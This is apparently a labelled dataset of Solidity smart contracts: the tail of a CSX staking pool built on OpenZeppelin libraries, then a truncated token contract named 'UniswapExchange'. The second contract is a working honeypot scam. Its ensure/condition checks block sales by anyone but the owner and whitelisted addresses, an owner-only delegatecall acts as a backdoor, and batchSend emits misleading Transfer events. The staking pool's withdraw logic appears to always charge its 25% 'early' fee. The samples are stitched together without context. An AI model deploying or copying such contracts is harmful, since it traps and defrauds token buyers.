* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity >=0.4.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
pragma solidity 0.6.12;
contract CSXStackingPool is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Whether a limit is set for users
bool public hasUserLimit;
// Accrued token per share
uint256 public accTokenPerShare;
// The block number when CSX distribution ends.
uint256 public bonusEndBlock;
// The block number when CSX distribution starts.
uint256 public startBlock;
// The block number of the last pool update
uint256 public lastRewardBlock;
// The pool limit (0 if none)
uint256 public poolLimitPerUser;
// CSX tokens distribution per block.
uint256 public rewardPerBlock;
// Max staking tokens
uint256 public currentStakedCSX = 0;
// Max staking tokens
uint256 public maxPoolInvestmentSlot;
// The precision factor
uint256 public PRECISION_FACTOR;
// Reward token holder
address public rewardTokenHolder;
// The staked token
IERC20 public lpToken;
// Info of each user that stakes tokens (lpToken)
mapping(address => UserInfo) public userInfo;
struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
uint256 rewardDebt; // Reward debt
}
event AdminTokenRecovery(address indexed user, uint256 amount);
event Deposit(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event NewStartAndEndBlocks(uint256 startBlock, uint256 endBlock);
event NewRewardPerBlock(uint256 rewardPerBlock);
event NewPoolLimit(uint256 poolLimitPerUser);
event RewardsStop(uint256 blockNumber);
event Withdraw(address indexed user, uint256 amount);
event RewardHolderChange(
address indexed previousHolder,
address indexed newHolder
);
/*
* @notice Initialize the contract
* @param _lpToken: staked token address
* @param _rewardPerBlock: reward per block (in rewardToken)
* @param _startBlock: start block
* @param _bonusEndBlock: end block
* @param _poolLimitPerUser: pool limit per user in lpToken (if any, else 0)
* @param _maxPoolInvestmentSlot: users investment limit
* @param _rewardTokenHolder: reward token holder address
*/
//0xA3587B2048e911894CFFD4E3B23a1F5d2c7D9254, 1697000000000000000, 11442306, 12036306, 0, 4200000000000000000000000, 0xd274446FE953d23d0dFcf8c4ABd712A6d572cb06
constructor(
IERC20 _lpToken,
uint256 _rewardPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock,
uint256 _poolLimitPerUser,
uint256 _maxPoolInvestmentSlot,
address _rewardTokenHolder
) public {
lpToken = _lpToken;
rewardPerBlock = _rewardPerBlock;
startBlock = _startBlock;
bonusEndBlock = _bonusEndBlock;
rewardTokenHolder = _rewardTokenHolder;
maxPoolInvestmentSlot = _maxPoolInvestmentSlot;
if (_poolLimitPerUser > 0) {
hasUserLimit = true;
poolLimitPerUser = _poolLimitPerUser;
}
uint256 decimalsRewardToken = uint256(lpToken.decimals());
require(decimalsRewardToken < 30, "Must be inferior to 30");
PRECISION_FACTOR = uint256(10**(uint256(30).sub(decimalsRewardToken)));
// Set the lastRewardBlock as the startBlock
lastRewardBlock = startBlock;
}
/*
* @notice Deposit staked tokens and collect reward tokens (if any)
* @param _amount: amount to withdraw (in rewardToken)
*/
function deposit(uint256 _amount) external nonReentrant {
require(block.number <= bonusEndBlock, "CSX staking period is over.");
require(_amount > 0, "Deposit amount should be more than 0.");
require(
currentStakedCSX <= maxPoolInvestmentSlot,
"Max CSX staking slot is reached."
);
require(
_amount <= maxPoolInvestmentSlot - currentStakedCSX,
"Enter valid staking amount"
);
UserInfo storage user = userInfo[msg.sender];
if (hasUserLimit) {
require(
_amount.add(user.amount) <= poolLimitPerUser,
"User amount above limit"
);
}
_updatePool();
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(accTokenPerShare)
.div(PRECISION_FACTOR)
.sub(user.rewardDebt);
if (pending > 0) {
lpToken.safeTransferFrom(
address(rewardTokenHolder),
address(msg.sender),
pending
);
}
}
if (_amount > 0) {
user.amount = user.amount.add(_amount);
lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
currentStakedCSX = currentStakedCSX + _amount;
}
user.rewardDebt = user.amount.mul(accTokenPerShare).div(
PRECISION_FACTOR
);
emit Deposit(msg.sender, _amount);
}
/*
* @notice Withdraw staked tokens and collect reward tokens
* @param _amount: amount to withdraw (in rewardToken)
*/
function withdraw(uint256 _amount) external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(user.amount >= _amount, "Amount to withdraw too high");
_updatePool();
uint256 pending = user
.amount
.mul(accTokenPerShare)
.div(PRECISION_FACTOR)
.sub(user.rewardDebt);
if (_amount > 0 && block.number > lastRewardBlock) {
user.amount = user.amount.sub(_amount);
lpToken.safeTransfer(address(msg.sender), _amount);
} else {
user.amount = user.amount.sub(_amount);
lpToken.safeTransfer(address(msg.sender), _amount.mul(75).div(100)); // 25% early withdrawal fees
lpToken.safeTransfer(
address(rewardTokenHolder),
_amount.mul(25).div(100)
);
}
if (pending > 0) {
lpToken.safeTransferFrom(
address(rewardTokenHolder),
address(msg.sender),
pending
);
}
user.rewardDebt = user.amount.mul(accTokenPerShare).div(
PRECISION_FACTOR
);
emit Withdraw(msg.sender, _amount);
}
/*
* @notice Stop rewards
* @dev Only callable by owner. Needs to be for emergency.
*/
function emergencyRewardWithdraw(uint256 _amount) external onlyOwner {
lpToken.safeTransferFrom(
address(rewardTokenHolder),
address(msg.sender),
_amount
);
}
/**
* @dev Changes reward token holder of the contract to a new holder.
*/
function changeRewardTokenHolder(address newHolder) public onlyOwner {
require(
newHolder != address(0),
"Holder: new holder is the zero address"
);
emit RewardHolderChange(rewardTokenHolder, newHolder);
rewardTokenHolder = newHolder;
}
/**
* @notice It allows the admin to recover wrong tokens sent to the contract
* @param _tokenAddress: the address of the token to withdraw
* @param _tokenAmount: the number of tokens to withdraw
* @dev This function is only callable by admin.
*/
function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount)
external
onlyOwner
{
require(_tokenAddress != address(lpToken), "Cannot be staked token");
IERC20(_tokenAddress).safeTransfer(address(msg.sender), _tokenAmount);
emit AdminTokenRecovery(_tokenAddress, _tokenAmount);
}
/*
* @notice Stop rewards
* @dev Only callable by owner
*/
function stopReward() external onlyOwner {
bonusEndBlock = block.number;
}
/*
* @notice Update pool limit per user
* @dev Only callable by owner.
* @param _hasUserLimit: whether the limit remains forced
* @param _poolLimitPerUser: new pool limit per user
*/
function updatePoolLimitPerUser(
bool _hasUserLimit,
uint256 _poolLimitPerUser
) external onlyOwner {
require(hasUserLimit, "Must be set");
if (_hasUserLimit) {
require(
_poolLimitPerUser > poolLimitPerUser,
"New limit must be higher"
);
poolLimitPerUser = _poolLimitPerUser;
} else {
hasUserLimit = _hasUserLimit;
poolLimitPerUser = 0;
}
emit NewPoolLimit(poolLimitPerUser);
}
/*
* @notice Update reward per block
* @dev Only callable by owner.
* @param _rewardPerBlock: the reward per block
*/
function updateRewardPerBlock(uint256 _rewardPerBlock) external onlyOwner {
require(block.number < startBlock, "Pool has started");
rewardPerBlock = _rewardPerBlock;
emit NewRewardPerBlock(_rewardPerBlock);
}
/**
* @notice It allows the admin to update start and end blocks
* @dev This function is only callable by owner.
* @param _startBlock: the new start block
* @param _bonusEndBlock: the new end block
*/
function updateStartAndEndBlocks(
uint256 _startBlock,
uint256 _bonusEndBlock
) external onlyOwner {
require(
_startBlock < _bonusEndBlock,
"New startBlock must be lower than new endBlock"
);
require(
block.number < _startBlock,
"New startBlock must be higher than current block"
);
startBlock = _startBlock;
bonusEndBlock = _bonusEndBlock;
// Set the lastRewardBlock as the startBlock
lastRewardBlock = startBlock;
emit NewStartAndEndBlocks(_startBlock, _bonusEndBlock);
}
/*
* @notice View function to see pending reward on frontend.
* @param _user: user address
* @return Pending reward for a given user
*/
function pendingReward(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 lpTokenSupply = lpToken.balanceOf(address(this));
if (block.number > lastRewardBlock && lpTokenSupply != 0) {
uint256 multiplier = _getMultiplier(lastRewardBlock, block.number);
uint256 csxReward = multiplier.mul(rewardPerBlock);
uint256 adjustedTokenPerShare = accTokenPerShare.add(
csxReward.mul(PRECISION_FACTOR).div(lpTokenSupply)
);
return
user
.amount
.mul(adjustedTokenPerShare)
.div(PRECISION_FACTOR)
.sub(user.rewardDebt);
} else {
return
user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(
user.rewardDebt
);
}
}
/*
* @notice View function to see pending blocks frontend.
* @return Pending blocks for pool completion
*/
function pendingBlocks() external view returns (uint256) {
return bonusEndBlock - block.number;
}
/*
* @notice Update reward variables of the given pool to be up-to-date.
*/
function _updatePool() internal {
if (block.number <= lastRewardBlock) {
return;
}
uint256 lpTokenSupply = lpToken.balanceOf(address(this));
if (lpTokenSupply == 0) {
lastRewardBlock = block.number;
return;
}
uint256 multiplier = _getMultiplier(lastRewardBlock, block.number);
uint256 csxReward = multiplier.mul(rewardPerBlock);
accTokenPerShare = accTokenPerShare.add(
csxReward.mul(PRECISION_FACTOR).div(lpTokenSupply)
);
lastRewardBlock = block.number;
}
/*
* @notice Return reward multiplier over the given _from to _to block.
* @param _from: block to start
* @param _to: block to finish
*/
function _getMultiplier(uint256 _from, uint256 _to)
internal
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from);
} else if (_from >= bonusEndBlock) {
return 0;
} else {
return bonusEndBlock.sub(_from);
}
}
}
|
True
|
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1,
1
] |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
